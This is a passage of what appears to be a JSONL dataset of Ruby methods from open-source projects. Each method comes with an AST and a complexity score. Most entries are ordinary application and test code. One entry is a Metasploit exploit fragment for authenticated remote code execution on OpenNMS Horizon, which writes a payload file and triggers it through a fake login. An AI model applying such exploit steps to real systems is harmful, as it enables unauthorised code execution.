end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"configuration_domain\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tag_hash\"]},\"[]\",{\"type\":\"const\",\"children\":[null,\"ConfigurationDomain\"]}]}]}","id":"d81d09b7-8518-4254-946a-0837d2f9cb67"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/ext_management_system.rb","start_line":901,"raw_source":"def start_refresh_worker\n return if refresh_worker_class.nil?\n\n refresh_worker_class.start_worker_for_ems(self)\n end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"start_refresh_worker\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"refresh_worker_class\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"refresh_worker_class\"]},\"start_worker_for_ems\",{\"type\":\"self\",\"children\":[]}]}]}]}","id":"8561ef3f-b777-4aa1-9c8b-65b077a07347"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/github_import/object_counter.rb","start_line":80,"raw_source":"def increment_project_counter(project, object_type, operation, value)\n counter_key = PROJECT_COUNTER_KEY % {\n project: project.id,\n operation: operation,\n object_type: object_type\n }\n\n add_counter_to_list(project, operation, counter_key)\n\n CACHING.increment_by(counter_key, value, timeout: IMPORT_CACHING_TIMEOUT)\n end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"increment_project_counter\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]},{\"type\":\"arg\",\"children\":[\"object_type\"]},{\"type\":\"arg\",\"children\":[\"operation\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"counter_key\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PROJECT_COUNTER_KEY\"]},\"%\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"operation\"]},{\"type\":\"lvar\",\"children\":[\"operation\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"object_type\"]},{\"type\":\"lvar\",\"children\":[\"object_type\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_counter_to_list\",{\"type\":\"lvar\",\"children\":[\"project\"]},{\"type\":\"lvar\",\"children\":[\"operation\"]},{\"type\":\"lvar\",\"children\":[\"counter_key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CACHING\"]},\"increment_by\",{\"type\":\"lvar\",\"children\":[\"counter_key\"]},{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timeout\"]},{\"type\":\"const\",\"children\":[null,\"IMPORT_CACHING_TIMEOUT\"]}]}]}]}]}]}","id":"6cc18bac-1634-42a1-9312-08538cdb24aa"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/bulk_imports/file_downloads/validations.rb","start_line":41,"raw_source":"def validate_size!(size)\n return unless file_size_limit > 0 && size.to_i > file_size_limit\n\n raise_error format(\n \"File size %{size} exceeds limit of %{limit}\",\n size: ActiveSupport::NumberHelper.number_to_human_size(size),\n limit: ActiveSupport::NumberHelper.number_to_human_size(file_size_limit)\n )\n end","complexity_score":14.7,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_size!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"size\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"file_size_limit\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"size\"]},\"to_i\"]},\">\",{\"type\":\"send\",\"children\":[null,\"file_size_limit\"]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"raise_error\",{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"str\",\"children\":[\"File size %{size} exceeds limit of %{limit}\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"size\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"NumberHelper\"]},\"number_to_human_size\",{\"type\":\"lvar\",\"children\":[\"size\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"NumberHelper\"]},\"number_to_human_size\",{\"type\":\"send\",\"children\":[null,\"file_size_limit\"]}]}]}]}]}]}]}]}","id":"0c69bd40-90e4-4af6-911d-9b823d7f3547"} {"repo_name":"puma","file_path":"./repos/puma/test/test_pumactl.rb","start_line":51,"raw_source":"def test_config_file\n control_cli = Puma::ControlCLI.new [\"--config-file\", \"test/config/state_file_testing_config.rb\", \"halt\"]\n assert_equal \"t3-pid\", control_cli.instance_variable_get(:@pidfile)\n ensure\n File.unlink \"t3-pid\" if File.file? \"t3-pid\"\n end","complexity_score":7.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_config_file\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"control_cli\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Puma\"]},\"ControlCLI\"]},\"new\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"--config-file\"]},{\"type\":\"str\",\"children\":[\"test/config/state_file_testing_config.rb\"]},{\"type\":\"str\",\"children\":[\"halt\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"t3-pid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"control_cli\"]},\"instance_variable_get\",{\"type\":\"sym\",\"children\":[\"@pidfile\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"file?\",{\"type\":\"str\",\"children\":[\"t3-pid\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"unlink\",{\"type\":\"str\",\"children\":[\"t3-pid\"]}]},null]}]}]}","id":"4b72930f-82fa-4072-8335-8ce9f6d4783b"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/project.rb","start_line":2173,"raw_source":"def execute_hooks(data, hooks_scope = :push_hooks)\n run_after_commit_or_now do\n triggered_hooks(hooks_scope, data).execute\n SystemHooksService.new.execute_hooks(data, hooks_scope)\n end\n end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"execute_hooks\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]},{\"type\":\"optarg\",\"children\":[\"hooks_scope\",{\"type\":\"sym\",\"children\":[\"push_hooks\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_after_commit_or_now\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"triggered_hooks\",{\"type\":\"lvar\",\"children\":[\"hooks_scope\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]},\"execute\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SystemHooksService\"]},\"new\"]},\"execute_hooks\",{\"type\":\"lvar\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"hooks_scope\"]}]}]}]}]}","id":"c2297861-78c4-4bea-ae8c-f6a5476d62c0"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/database/duplicate_indexes.rb","start_line":44,"raw_source":"def btree_indexes\n return @btree_indexes if @btree_indexes\n\n # We only scan non-conditional btree indexes\n @btree_indexes = indexes.select do |index|\n index.using == :btree && index.where.nil? && index.opclasses.blank?\n end\n\n @btree_indexes = @btree_indexes.map { |index| self.class.btree_index_struct(index) }\n end","complexity_score":21.1,"ast_json":"{\"type\":\"def\",\"children\":[\"btree_indexes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@btree_indexes\"]},{\"type\":\"return\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@btree_indexes\"]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@btree_indexes\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"indexes\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"index\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]},\"using\"]},\"==\",{\"type\":\"sym\",\"children\":[\"btree\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]},\"where\"]},\"nil?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]},\"opclasses\"]},\"blank?\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@btree_indexes\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@btree_indexes\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"index\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"btree_index_struct\",{\"type\":\"lvar\",\"children\":[\"index\"]}]}]}]}]}]}","id":"8a6bdf81-45c0-43d0-a03d-383263f33eb0"} {"repo_name":"haml","file_path":"./repos/haml/test/haml/template_test.rb","start_line":57,"raw_source":"def setup\n @base = create_base\n\n # filters template uses :sass\n # Sass::Plugin.options.update(:line_comments => true, :style => :compact)\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@base\",{\"type\":\"send\",\"children\":[null,\"create_base\"]}]}]}","id":"81104f6c-6d9c-49e8-9737-7bc20e4b238f"} {"repo_name":"fastlane","file_path":"./repos/fastlane/precheck/spec/rules/abstract_text_match_rule_spec.rb","start_line":39,"raw_source":"def lowercased_words_to_look_for\n [\"tacos\", \"puppies\", \"taquitos\"].map(&:downcase)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"lowercased_words_to_look_for\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"tacos\"]},{\"type\":\"str\",\"children\":[\"puppies\"]},{\"type\":\"str\",\"children\":[\"taquitos\"]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"downcase\"]}]}]}]}","id":"ad3f293b-9156-48ce-b07b-a1158eea565c"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/opennms_horizon_authenticated_rce.rb","start_line":823,"raw_source":"def execute_command(cmd, _opts = {})\n # Write the payload to a .bsh file\n write_payload_to_bsh_file(cmd)\n\n print_status('Triggering the notification to execute the payload')\n # Trigger the notification by performing a login attempt using random credentials\n success, message = opennms_login('exploit', perform_invalid_login: true)\n if success\n print_status(message)\n else\n print_error(message)\n end\n end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"execute_command\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cmd\"]},{\"type\":\"optarg\",\"children\":[\"_opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"write_payload_to_bsh_file\",{\"type\":\"lvar\",\"children\":[\"cmd\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Triggering the notification to execute the payload\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"success\"]},{\"type\":\"lvasgn\",\"children\":[\"message\"]}]},{\"type\":\"send\",\"children\":[null,\"opennms_login\",{\"type\":\"str\",\"children\":[\"exploit\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"perform_invalid_login\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"success\"]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"lvar\",\"children\":[\"message\"]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]}]}","id":"0dcd8f05-f696-4d79-a826-6487d4a36b6b"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/sidekiq/lib/sidekiq/api.rb","start_line":1200,"raw_source":"def run_at\n Time.at(@hsh[\"run_at\"])\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"run_at\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"at\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@hsh\"]},\"[]\",{\"type\":\"str\",\"children\":[\"run_at\"]}]}]}]}","id":"77673e57-675e-4890-b852-4f372aa32ed6"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/resource/api_fabricator.rb","start_line":17,"raw_source":"def api_support?\n (defines_get? && defines_post?) || defines_put?\n end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"api_support?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"defines_get?\"]},{\"type\":\"send\",\"children\":[null,\"defines_post?\"]}]}]},{\"type\":\"send\",\"children\":[null,\"defines_put?\"]}]}]}","id":"8fe2febe-1622-4f3d-9ccd-f49704320450"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/pagination/keyset/column_order_definition.rb","start_line":200,"raw_source":"def calculate_reversed_order(order_expression)\n unless order_expression.is_a?(Arel::Nodes::Ordering)\n raise \"Couldn't determine reversed order for `#{order_expression}`, please provide the `reversed_order_expression` parameter.\"\n end\n\n order_expression.reverse\n end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"calculate_reversed_order\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"order_expression\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order_expression\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"Nodes\"]},\"Ordering\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Couldn't determine reversed order for `\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order_expression\"]}]},{\"type\":\"str\",\"children\":[\"`, please provide the `reversed_order_expression` parameter.\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order_expression\"]},\"reverse\"]}]}]}","id":"5d08fc8f-30da-42e0-a045-f3ffceb29947"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_report/generator.rb","start_line":243,"raw_source":"def generate_performance_results(options = {})\n if performance[:group_by_category] && performance[:interval_name]\n results, extras[:interval] = db_class.vms_by_category(performance)\n else\n results, extras[:group_by_tag_cols], extras[:group_by_tags] = db_class.group_by_tags(\n db_class.find_entries(ext_options).where(where_clause).where(options[:where_clause]),\n :category => performance[:group_by_category],\n :cat_model => options[:cat_model]\n )\n build_correlate_tag_cols\n end\n results\n end","complexity_score":43.5,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_performance_results\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"performance\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"group_by_category\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"performance\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"interval_name\"]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"results\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"extras\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"interval\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"db_class\"]},\"vms_by_category\",{\"type\":\"send\",\"children\":[null,\"performance\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"results\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"extras\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"group_by_tag_cols\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"extras\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"group_by_tags\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"db_class\"]},\"group_by_tags\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"db_class\"]},\"find_entries\",{\"type\":\"send\",\"children\":[null,\"ext_options\"]}]},\"where\",{\"type\":\"send\",\"children\":[null,\"where_clause\"]}]},\"where\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"where_clause\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"category\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"performance\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"group_by_category\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cat_model\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"cat_model\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"build_correlate_tag_cols\"]}]}]},{\"type\":\"lvar\",\"children\":[\"results\"]}]}]}","id":"d7259246-79dc-450a-a8ae-599103d139a5"} {"repo_name":"rails","file_path":"./repos/rails/railties/test/application/configuration/custom_test.rb","start_line":48,"raw_source":"def require_environment\n require \"#{app_path}/config/environment\"\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"require_environment\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"app_path\"]}]},{\"type\":\"str\",\"children\":[\"/config/environment\"]}]}]}]}","id":"9ca658fd-6b9a-42eb-82fb-ed9b587b9224"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/tree_helper.rb","start_line":223,"raw_source":"def code_dropdown_ide_data\n {\n gitpod_enabled: current_user&.gitpod_enabled || false,\n show_web_ide_button: show_web_ide_button?,\n show_gitpod_button: show_gitpod_button?,\n web_ide_url: web_ide_url,\n gitpod_url: gitpod_url\n }\n end","complexity_score":7.5,"ast_json":"{\"type\":\"def\",\"children\":[\"code_dropdown_ide_data\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"gitpod_enabled\"]},{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"gitpod_enabled\"]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"show_web_ide_button\"]},{\"type\":\"send\",\"children\":[null,\"show_web_ide_button?\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"show_gitpod_button\"]},{\"type\":\"send\",\"children\":[null,\"show_gitpod_button?\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"web_ide_url\"]},{\"type\":\"send\",\"children\":[null,\"web_ide_url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"gitpod_url\"]},{\"type\":\"send\",\"children\":[null,\"gitpod_url\"]}]}]}]}","id":"747aee62-84bc-45ca-9b6f-34acd624acaa"} {"repo_name":"chatwoot","file_path":"./repos/chatwoot/lib/seeders/reports/report_data_seeder.rb","start_line":211,"raw_source":"def create_conversations\n conversation_creator = Seeders::Reports::ConversationCreator.new(\n account: @account,\n resources: {\n contacts: @contacts,\n inboxes: @inboxes,\n teams: @teams,\n labels: @labels,\n agents: @agents\n }\n )\n\n TOTAL_CONVERSATIONS.times do |i|\n created_at = Faker::Time.between(from: START_DATE, to: END_DATE)\n conversation_creator.create_conversation(created_at: created_at)\n\n completion_percentage = ((i + 1).to_f / TOTAL_CONVERSATIONS * 100).round\n print \"\\rCreating conversations: #{i + 1}/#{TOTAL_CONVERSATIONS} (#{completion_percentage}%)\"\n end\n\n print \"\\n\"\n end","complexity_score":21.75,"ast_json":"{\"type\":\"def\",\"children\":[\"create_conversations\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"conversation_creator\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Seeders\"]},\"Reports\"]},\"ConversationCreator\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"account\"]},{\"type\":\"ivar\",\"children\":[\"@account\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"resources\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"contacts\"]},{\"type\":\"ivar\",\"children\":[\"@contacts\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"inboxes\"]},{\"type\":\"ivar\",\"children\":[\"@inboxes\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"teams\"]},{\"type\":\"ivar\",\"children\":[\"@teams\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"labels\"]},{\"type\":\"ivar\",\"children\":[\"@labels\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"agents\"]},{\"type\":\"ivar\",\"children\":[\"@agents\"]}]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TOTAL_CONVERSATIONS\"]},\"times\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"created_at\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Faker\"]},\"Time\"]},\"between\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"from\"]},{\"type\":\"const\",\"children\":[null,\"START_DATE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"const\",\"children\":[null,\"END_DATE\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conversation_creator\"]},\"create_conversation\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"lvar\",\"children\":[\"created_at\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"completion_percentage\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},\"to_f\"]},\"/\",{\"type\":\"const\",\"children\":[null,\"TOTAL_CONVERSATIONS\"]}]},\"*\",{\"type\":\"int\",\"children\":[100]}]}]},\"round\"]}]},{\"type\":\"send\",\"children\":[null,\"print\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\rCreating conversations: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TOTAL_CONVERSATIONS\"]}]},{\"type\":\"str\",\"children\":[\" (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"completion_percentage\"]}]},{\"type\":\"str\",\"children\":[\"%)\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}","id":"22bbe19e-b987-4ab0-aa86-6f71382830ae"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/git/blob.rb","start_line":231,"raw_source":"def has_lfs_version_key?\n !empty? && text_in_repo? && data.start_with?(\"version https://git-lfs.github.com/spec\")\n end","complexity_score":8.3,"ast_json":"{\"type\":\"def\",\"children\":[\"has_lfs_version_key?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"empty?\"]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"text_in_repo?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"data\"]},\"start_with?\",{\"type\":\"str\",\"children\":[\"version https://git-lfs.github.com/spec\"]}]}]}]}","id":"a2a023aa-5a8f-4f06-9313-930d35744674"} {"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/api/v1/accounts/articles_controller.rb","start_line":78,"raw_source":"def list_params\n params.permit(:locale, :query, :page, :category_slug, :status, :author_id)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"list_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"permit\",{\"type\":\"sym\",\"children\":[\"locale\"]},{\"type\":\"sym\",\"children\":[\"query\"]},{\"type\":\"sym\",\"children\":[\"page\"]},{\"type\":\"sym\",\"children\":[\"category_slug\"]},{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"author_id\"]}]}]}","id":"9130f7a3-421e-477a-a0fc-ce693e8b2c67"} {"repo_name":"pundit","file_path":"./repos/pundit/lib/pundit/authorization.rb","start_line":66,"raw_source":"def pundit_reset!\n @pundit = nil\n @_pundit_policies = nil\n @_pundit_policy_scopes = nil\n @_pundit_policy_authorized = nil\n @_pundit_policy_scoped = nil\n 